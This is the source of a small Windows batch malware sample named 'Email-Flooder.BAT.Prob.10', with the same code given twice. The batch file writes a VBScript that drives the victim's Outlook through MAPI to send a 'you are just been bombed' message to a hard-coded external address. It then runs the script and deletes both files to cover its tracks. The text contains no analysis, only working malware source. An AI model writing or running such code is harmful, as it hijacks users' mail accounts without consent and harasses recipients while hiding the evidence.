Email-Flooder.BAT.Prob.10
cls
@echo off
copy %0 C:\prob.bat
copy %0 C:\send.vbs
echo Dim x > C:\send.vbs
echo.ON ERROR RESUME NEXT >> C:\send.vbs
echo Set so=CreateObject("Scripting.FileSystemObject") >> C:\send.vbs
echo Set ol=CreateObject("Outlook.Application") >> C:\send.vbs
echo Set out= WScript.CreateObject("Outlook.Application") >> C:\send.vbs
echo Set mapi = out.GetNameSpace("MAPI") >> C:\send.vbs
echo Set a = mapi.AddressLists(1) >> C:\send.vbs
echo For x=1 To 1 >> C:\send.vbs
echo Set Mail=ol.CreateItem(0) >> C:\send.vbs
echo Mail.to="436767862063@max.mail.at" >> C:\send.vbs
echo Mail.Subject="5131" >> C:\send.vbs
echo Mail.Body="Hi there you are just been bombed..." >> C:\send.vbs
echo Mail.Send >> C:\send.vbs
echo Next >> C:\send.vbs
echo ol.Quit >> C:\send.vbs
cls
echo Bombing completed...
echo.
echo.
echo.
cscript C:\send.vbs
del C:\prob.bat
del C:\send.vbs
echo.
cls
Pause
exit
@echo off
copy %0 C:\prob.bat
copy %0 C:\send.vbs
echo Dim x > C:\send.vbs
echo.ON ERROR RESUME NEXT >> C:\send.vbs
echo Set so=CreateObject("Scripting.FileSystemObject") >> C:\send.vbs
echo Set ol=CreateObject("Outlook.Application") >> C:\send.vbs
echo Set out= WScript.CreateObject("Outlook.Application") >> C:\send.vbs
echo Set mapi = out.GetNameSpace("MAPI") >> C:\send.vbs
echo Set a = mapi.AddressLists(1) >> C:\send.vbs
echo For x=1 To 1 >> C:\send.vbs
echo Set Mail=ol.CreateItem(0) >> C:\send.vbs
echo Mail.to="436767862063@max.mail.at" >> C:\send.vbs
echo Mail.Subject="5131" >> C:\send.vbs
echo Mail.Body="Hi there you are just been bombed..." >> C:\send.vbs
echo Mail.Send >> C:\send.vbs
echo Next >> C:\send.vbs
echo ol.Quit >> C:\send.vbs
cls
echo Bombing completed...
echo.
echo.
echo.
cscript C:\send.vbs
del C:\prob.bat
del C:\send.vbs
echo.
cls
Pause
exit